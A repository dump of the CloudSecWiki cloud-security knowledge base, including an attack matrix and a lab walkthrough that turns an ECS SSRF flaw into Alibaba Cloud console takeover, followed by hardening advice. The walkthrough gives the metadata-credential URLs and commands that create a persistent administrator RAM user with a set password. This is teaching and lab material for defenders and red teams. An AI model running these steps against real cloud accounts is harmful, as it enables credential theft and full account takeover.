├── .github └── workflows │ ├── codeql-analysis.yml │ └── devops.yml ├── .gitignore ├── LICENSE ├── README.md ├── babel.config.js ├── docs ├── about.md ├── about │ └── _category_.json ├── articles.md ├── articles │ ├── _category_.json │ ├── aliyun │ │ ├── 从云服务器 SSRF 漏洞到接管你的阿里云控制台.md │ │ ├── 阿里云 ECS 弹性计算服务攻防.md │ │ ├── 阿里云 OSS 对象存储攻防.md │ │ ├── 阿里云 RDS 云数据库攻防.md │ │ └── 阿里云 VPC 与 LB 和 RAM 的信息收集.md │ ├── aws │ │ ├── AWS EC2 弹性计算服务攻防.md │ │ ├── AWS ELB、VPC 和 IAM 服务攻防.md │ │ ├── AWS RDS 云数据库攻防.md │ │ └── AWS S3 对象存储攻防.md │ ├── azure │ │ ├── 微软云 VM 弹性计算服务攻防.md │ │ ├── 微软云 云数据库攻防.md │ │ └── 微软云对象存储攻防.md │ ├── gcp │ │ ├── 谷歌云 Compute Engine 弹性计算服务攻防.md │ │ ├── 谷歌云 云数据库攻防.md │ │ └── 谷歌云对象存储攻防.md │ ├── huaweicloud │ │ ├── 华为云 ECS 弹性计算服务攻防.md │ │ ├── 华为云 OBS 对象存储攻防.md │ │ └── 华为云 RDS 云数据库攻防.md │ └── tencentcloud │ │ ├── 腾讯云 COS 对象存储攻防.md │ │ └── 腾讯云 CVM 弹性计算服务攻防.md ├── goat.md ├── goat │ └── _category_.json ├── information.md └── information │ └── _category_.json ├── docusaurus.config.js ├── package-lock.json ├── package.json ├── sidebars.js ├── src ├── components │ └── HomepageFeatures │ │ ├── index.js │ │ └── styles.module.css ├── css │ └── custom.css └── pages │ ├── index.js │ ├── index.module.css │ └── markdown-page.md └── static ├── .nojekyll ├── img ├── 1655118969.png ├── 1655119171.png ├── 1663151143.png ├── favicon.ico └── logo.png └── robots.txt /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ main ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ main ] 20 | schedule: 21 | - cron: '15 0 * * 1' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'javascript' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] 37 | # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support 38 | 39 | steps: 40 | - name: Checkout repository 41 | uses: actions/checkout@v3 42 | 43 | # Initializes the CodeQL tools for scanning. 44 | - name: Initialize CodeQL 45 | uses: github/codeql-action/init@v2 46 | with: 47 | languages: ${{ matrix.language }} 48 | # If you wish to specify custom queries, you can do so here or in a config file. 49 | # By default, queries listed here will override any specified in a config file. 50 | # Prefix the list here with "+" to use these queries and those in the config file. 51 | 52 | # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs 53 | # queries: security-extended,security-and-quality 54 | 55 | 56 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 57 | # If this step fails, then you should remove it and run the build manually (see below) 58 | - name: Autobuild 59 | uses: github/codeql-action/autobuild@v2 60 | 61 | # ℹ️ Command-line programs to run using the OS shell. 62 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun 63 | 64 | # If the Autobuild fails above, remove it and uncomment the following three lines. 65 | # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. 66 | 67 | # - run: | 68 | # echo "Run, Build Application using script" 69 | # ./location_of_script_within_repo/buildscript.sh 70 | 71 | - name: Perform CodeQL Analysis 72 | uses: github/codeql-action/analyze@v2 73 | -------------------------------------------------------------------------------- /.github/workflows/devops.yml: -------------------------------------------------------------------------------- 1 | name: DEVOPS 2 | on: 3 | push: 4 | branches: [ main ] 5 | workflow_dispatch: 6 | jobs: 7 | CICD: 8 | runs-on: ubuntu-latest 9 | strategy: 10 | matrix: 11 | node-version: ['16.x'] 12 | steps: 13 | - name: Check out branch 14 | uses: actions/checkout@v2 15 | - name: Use Node.js ${{ matrix.node-version }} 16 | uses: actions/setup-node@v2.1.2 17 | with: 18 | node-version: ${{ matrix.node-version }} 19 | - name: build 20 | run: | 21 | npm install 22 | npm run build 23 | - name: Setup ossutil 24 | uses: manyuanrong/setup-ossutil@v2.0 25 | with: 26 | endpoint: ${{ secrets.DONGTAI_OSS_ENDPOINT }} 27 | access-key-id: ${{ secrets.DONGTAI_OSS_ACCESS_KEY_ID }} 28 | access-key-secret: ${{ secrets.DONGTAI_OSS_ACCESS_KEY_SECRET }} 29 | - name: Push OSS 30 | run: | 31 | ossutil cp -rf build/ oss://cloudsec-huoxian-cn/ 32 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Dependencies 2 | /node_modules 3 | 4 | # Production 5 | /build 6 | 7 | # Generated files 8 | .docusaurus 9 | .cache-loader 10 | 11 | # Misc 12 | .DS_Store 13 | .env.local 14 | .env.development.local 15 | .env.test.local 16 | .env.production.local 17 | 18 | npm-debug.log* 19 | yarn-debug.log* 20 | yarn-error.log* 21 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2021 [HXSecurity 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CloudSecWiki 2 | CloudSecWiki is a cloud security oriented knowledge base maintained by HXSecurity. 3 | 4 | CloudSecWiki web address:[cloudsec.huoxian.cn](https://cloudsec.huoxian.cn) 5 | 6 | 7 | ## Local Deployment 8 | 1. Cloning project to local 9 | 10 | ```bash 11 | git clone https://github.com/HXSecurity/CloudSecWiki.git 12 | cd CloudSecWiki 13 | ``` 14 | 15 | 2. Install the `npm` dependency package and build 16 | 17 | ```bash 18 | npm install 19 | npm run build 20 | ``` 21 | 22 | 3. Copy the files in the `build` directory to the nginx service web directory -------------------------------------------------------------------------------- /babel.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | presets: [require.resolve('@docusaurus/core/lib/babel/preset')], 3 | }; 4 | -------------------------------------------------------------------------------- /docs/about.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: about 3 | sidebar_position: 1 4 | title: 关于 5 | --- 6 | 7 | ## 关于云安全知识库 :book: 8 | 9 | 云安全知识库是一个致力于分享云安全方向资源的知识库,在知识库中包含了云安全相关技术文章、攻防矩阵、漏洞靶场、云安全资讯等内容。 10 | 11 | **技术文章** 12 | 13 | 在技术文章中我们研究了六大云中的对象存储服务、弹性计算服务、云数据库服务、弹性负载均衡、身份和访问管理等内容。 14 | 15 | > 六大云即:腾讯云、阿里云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure 16 | 17 | **攻防矩阵** 18 | 19 | 在对云服务进行研究的过程中,火线安全将研究的成果进行总结归纳整理,提出了云服务攻防矩阵。通过这套攻防矩阵,红队在面临云环境时也将有章可循,明白自己的下一步该如何去走。 20 | 21 | **漏洞靶场** 22 | 23 | 在漏洞靶场中,我们利用 Terraform 进行靶场的构建,例如你可以轻松的使用`terraform apply`命令就可以构建一个存储桶 ACL 公开访问的漏洞靶场。 24 | 25 | 在靶场中,我们还放置了 flag,同时漏洞复现步骤也一并放在了靶场的描述中,不过还是建议先自己动手操作一下再看漏洞复现的内容。 26 | 27 | **每日云安全技术资讯** 28 | 29 | 在每日云安全技术资讯中,火线安全会对最近国内外云安全方向的资讯进行收集,一般会在工作日的中午之前更新。 30 | 31 | 如果你想了解每天国内外云安全方向发生了什么,那么非常推荐火线安全的云安全技术资讯,这里只会发布和云相关的内容,并且有专人整理、汇总收集国内外云安全相关的博客、论坛、新闻等等信息。 32 | 33 | ## 关于火线 :fire: 34 | 35 | 火线是由北京安全共识科技有限公司创立的实名制安全平台,我们的使命是用新技术穿越行业过往的分歧,用新共识更紧密地连接人与人。 36 | 37 | 火线致力于达成三点共识: 38 | 39 | (一)信任 40 | 41 | 相信安全从业者的初心,为他们的每一份贡献争取应得的荣誉和利益;优先用智慧而不是法律来解决信任问题。 42 | 43 | (二)赋能 44 | 45 | “Know it then hack it”,持续为社区争取研究机会,持续促进厂商安全的提升并推动技术公开;始终为社区和企业提供行业最棒的产品和服务,即使平台方有利益的损失也在所不惜。 46 | 47 | (三)公平 48 | 49 | 努力实现“耕者有其田,商者有其股”。社区的贡献者亦是社区的所有者,不仅可以对平台的规则进行监督、修改和完善,更有机会共享平台发展的果实。 50 | -------------------------------------------------------------------------------- /docs/about/_category_.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "about", 3 | "position": 2 4 | } 5 | -------------------------------------------------------------------------------- /docs/articles.md: -------------------------------------------------------------------------------- 1 | --- 2 | id: articles 3 | sidebar_position: 1 4 | title: 攻防矩阵 5 | --- 6 | 7 | 在对云服务进行研究的过程中,火线安全将研究的成果进行总结归纳整理,提出了云服务攻防矩阵。 8 | 9 | 该矩阵从前期侦查、初始访问、执行、权限提升、权限维持、防御绕过、信息收集、横向移动和影响这九个维度展开,分别研究了每个维度下,云服务可能面临的威胁。 10 | 11 | 通过这套攻防矩阵,红队在面临云环境时也将有章可循,明白自己的下一步该如何去走。 12 | 13 | 14 | 15 | | 前期侦查 | 初始访问 | 执行 | 权限提升 | 权限维持 | 防御绕过 | 信息收集 | 横向移动 | 影响 | 16 | | ------------------ | -------------------- | ------------------------------------- | ------------------------------------------ | ------------------------------ | ---------------- | ------------------------ | ------------------------ | ------------------------- | 17 | | API 密钥泄露 | Bucket 公开访问 | 通过控制台执行 | 利用应用程序提权 | 在存储对象中植入后门 | 关闭安全监控服务 | 用户账号数据泄露 | 窃取云凭证横向移动 | Bucket 接管 | 18 | | 控制台账号密码泄露 | 特定的访问配置策略 | 利用云厂商命令行工具执行 | Bucket 策略可写 | 写入用户数据 | 在监控区域外攻击 | 对象存储敏感数据泄露 | 窃取用户账号攻击其他应用 | 任意文件上传覆盖 | 19 | | 临时访问凭证泄露 | 元数据服务未授权访问 | 使用云API执行 | Object ACL 可写 | 在云函数中添加后门 | 停止日志记录 | 目标源代码信息 | 通过控制台横向移动 | 敏感数据泄露 | 20 | | 访问密码泄露 | 云控制台非法登录 | 写入用户数据执行 | Bucket ACL 可写 | 在自定义镜像库中导入后门镜像 | 日志清理 | 共享快照 | 使用实例账号爆破 | 破坏存储数据 | 21 | | SDK 泄露 | 账号劫持 | 使用对象存储工具执行 | 通过访问管理提权 | 创建访问密钥 | 通过代理访问 | 元数据 | 使用用户账号攻击其他应用 | 植入后门 | 22 | | 前端代码泄露 | 恶意的镜像 | 利用后门文件执行 | 创建高权限角色 | 在 RAM 中创建辅助账号 | | 云服务访问密钥 | PostgreSQL 数据库 SSRF | 拒绝服务 | 23 | | 共享快照 | 网络钓鱼 | 利用应用程序执行 | 利用服务自身漏洞进行提权 | 利用远控软件 | | 用户数据 | | 子域名接管 | 24 | | | 应用程序漏洞 | 利用 SSH、RDP 服务登录到实例执行命令 | 低权限下收集到数据库里的高权限访问凭证信息 | 控制台修改或添加数据库账户密码 | | 获取配置文件中的应用凭证 | | 资源劫持 | 25 | | | 服务弱口令 | 利用远程命令执行漏洞执行 | 在 RAM 中将低权限用户分配高权限策略 | 命令行修改或添加数据库账户密码 | | 获取实例网段信息 | | 窃取项目源码 | 26 | | | 密码访问 | 利用 SDK 执行 | | 共享快照 | | 数据库连接历史记录 | | 窃取用户数据 | 27 | | | 密钥访问 | 数据库连接工具 | | | | 数据库其他用户账号密码 | | 篡改数据 | 28 | | | | | | | | 数据库中的敏感信息 | | 加密勒索 | 29 | | | | | | | | 警告通知邮箱 | | 恶意公开共享 | 30 | | | | | | | | 性能详情 | | 恶意修改安全组 | 31 | | | | | | | | MSSQL 读取实例文件 | | 恶意释放弹性IP | 32 | | | | | | | | 流日志 | | 恶意修改防火墙策略 | 33 | | | | | | | | 安全组配置信息 | | LB 中的 HTTP 请求走私攻击 | 34 | | | | | | | | RAM 用户角色权限信息 | | Bucket 爆破 | 35 | | | | | | | | | | Bucket Object 遍历 | 36 | -------------------------------------------------------------------------------- /docs/articles/_category_.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "articles", 3 | "position": 2 4 | } -------------------------------------------------------------------------------- /docs/articles/aliyun/从云服务器 SSRF 漏洞到接管你的阿里云控制台.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 从云服务器 SSRF 漏洞到接管你的阿里云控制台 3 | id: takeover_aliyun_console 4 | --- 5 | 6 | ## 0x00 前言 7 | 8 | 本文将以阿里云为例,对云服务中的一些攻防手法进行演示,首先利用 Terraform 进行 ECS SSRF 漏洞环境的搭建,然后通过实例中存在的 SSRF 漏洞一步步拿下该云服务账户的所有的阿里云服务权限。 9 | 10 | ## 0x01 环境搭建 11 | 12 | 本文采用 TerraformGoat 进行靶场的搭建,TerraformGoat 靶场地址:[https://github.com/HuoCorp/TerraformGoat](https://github.com/HuoCorp/TerraformGoat) 13 | 14 | 在部署靶场时,需要用到你的阿里云 AccessKey,为了避免影响到你的云上生产环境,因此这里强烈建议使用非生产环境的 AccessKey,不要和生产环境使用同一个账号。 15 | 16 | > 由于 TerraformGoat 工具的迭代更新,下述环境搭建的方法已失效,现在部署的方法更加方便友好,具体部署方法请参见上面的 TerraformGoat 靶场地址。 17 | 18 | 接下来开始搭建靶场,首先克隆靶场项目到本地,并构建下载靶场所需的依赖。 19 | 20 | ```bash 21 | git clone https://github.com/HuoCorp/TerraformGoat.git --depth 1 22 | cd TerraformGoat 23 | docker build . -t terraformgoat:v0.0.3 24 | docker run -itd --name terraformgoat terraformgoat:v0.0.3 25 | docker exec -it terraformgoat /bin/bash 26 | ``` 27 | 28 | 如果 github 访问较慢,可以给终端挂上代理 29 | 30 | ```bash 31 | proxy_url="127.0.0.1:1080" && export https_proxy=http://$proxy_url http_proxy=http://$proxy_url all_proxy=socks5://$proxy_url 32 | ``` 33 | 34 | 在进入容器后,容器会提示选择接下来要使用的云服务提供商,这里以阿里云服务为例,输入 2 选择阿里云后回车。 35 | 36 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513595-194688-1654511605.png) 37 | 38 | 进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey 39 | 40 | ```bash 41 | cd /TerraformGoat/aliyun/ecs/ecs_ssrf/ 42 | aliyun configure 43 | ``` 44 | 45 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513607-696519-1654511641.png) 46 | 47 | 48 | 部署 SSRF 靶场 49 | 50 | ```bash 51 | terraform init 52 | terraform apply 53 | ``` 54 | 55 | 如果 init 初始化比较慢,挂上代理即可 56 | 57 | 在 apply 期间,会提示 Enter a value,这时输入 yes 回车即可。 58 | 59 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513617-740818-1654511678.png) 60 | 61 | 在 Outputs 处,可以看到返回的靶场地址,访问这个地址,可以看到 SSRF 测试靶场页面,这时就说明环境搭建完了。 62 | 63 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513629-824184-1654511714.png) 64 | 65 | ## 0x02 环境利用 66 | 67 | 当前环境存在 SSRF 漏洞,但和常规 SSRF 所处的环境不同,这里的 SSRF 漏洞是出现在云服务器上的,这也就意味着我们可以通过这个 SSRF 漏洞获取到该服务器的元数据信息。 68 | 69 | 访问元数据 70 | 71 | ```bash 72 | http://100.100.100.200/latest/meta-data 73 | ``` 74 | 75 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513640-110993-1654511862.png) 76 | 77 | 在返回的结果中,可以看到当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。 78 | 79 | 通过元数据获取临时凭证 80 | 81 | > 这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。 82 | 83 | ```bash 84 | http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role 85 | ``` 86 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513649-861594-1654511960.png) 87 | 88 | 将临时凭证配置到 aliyun 命令行工具里。 89 | 90 | ```bash 91 | aliyun configure --mode StsToken 92 | ``` 93 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513660-960032-1654512150.png) 94 | 95 | 创建子用户,并赋予管理员权限 96 | 97 | ```bash 98 | aliyun ram CreateUser --UserName teamssix 99 | aliyun ram CreateLoginProfile --UserName teamssix --Password TeamsSix@666 100 | aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix 101 | ``` 102 | 103 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513669-982449-1654512184.png) 104 | 105 | 访问 [https://signin.aliyun.com](https://signin.aliyun.com) 页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到。 106 | 107 | ```bash 108 | aliyun ram GetAccountAlias 109 | ``` 110 | 111 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513679-980924-1654512236.png) 112 | 113 | 这里的 AccountAlias 就是我们需要的 company-alias,接下来就可以登录控制台了。 114 | 115 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513692-466746-1654512350.png) 116 | 117 | 输入刚才创建用户时的密码 118 | 119 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513699-904105-1654512375.png) 120 | 121 | 登录后,就可以看到目标的控制台了。 122 | 123 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513709-515845-1654512406.png) 124 | 125 | 由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限。 126 | 127 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513715-622060-1654512448.png) 128 | 129 | 在云服务 ECS 实例中也可以看到我们刚才搭建的那台 SSRF 靶场服务器。 130 | 131 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513721-858863-1654512539.png) 132 | 133 | 至此,就实现了利用云服务器上的 SSRF 漏洞接管了阿里云控制台。 134 | 135 | > 另外这个环境里还放了一个 flag 文件,你如果感兴趣的话,可以动手去尝试找到这个 flag,Writeup 地址:[https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf](https://github.com/HuoCorp/TerraformGoat/tree/main/aliyun/ecs/ecs_ssrf) 136 | 137 | ## 0x03 防御措施 138 | 139 | 这个环境的问题除了存在 SSRF 外,还有另外两个主要的问题: 140 | 141 | 1. RAM 角色权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作 142 | 2. 元数据未做加固访问,导致一旦目标存在 SSRF 漏洞,元数据就存在被获取的风险 143 | 144 | 145 | 146 | 那么针对第一个 RAM 角色权限过大的问题,主要还是需要使用者严格遵守权限最小化的原则,在为 RAM 角色赋予权限时,避免赋予过高的权限,只赋予自己所需要的权限,这样可以将影响程度降到最低,但是这并不能治本。 147 | 148 | 149 | 150 | 针对第二个元数据未做加固访问的问题,可以将实例上的元数据访问模式设置为加固模式,这是一种治本的方法,将元数据访问模式设置为加固模式有以下两种方法: 151 | 152 | 1. 在创建实例时,可以在「系统配置」的「高级选项」中将「实例元数据访问模式」设置为「仅加固模式」 153 | 154 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-07/1654569264-55792-1654569052.png) 155 | 156 | 2. 在已经创建好的实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:[https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions](https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions) 157 | 158 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-07/1654569271-412956-1654569124.png) 159 | 160 | 将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。 161 | 162 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-07/1654569282-193498-1654569149.png) 163 | 164 | 值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据。 165 | 166 | 在 Linux 实例中获取 token 的命令如下: 167 | 168 | ```bash 169 | TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"` 170 | ``` 171 | 172 | 通过 token 获取元数据 173 | 174 | ```bash 175 | curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/ 176 | ``` 177 | 178 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-07/1654570333-826113-1654569172.png) 179 | 180 | 对于 Windows 实例下的获取方法可以参考阿里云官方文档:[https://help.aliyun.com/document_detail/108460.htm](https://help.aliyun.com/document_detail/108460.htm) 181 | 182 | > 将元数据访问模式设置为加固模式进而防御 SSRF 漏洞的这个方法由 2h0ng 师傅提供 183 | 184 | ## 0x04 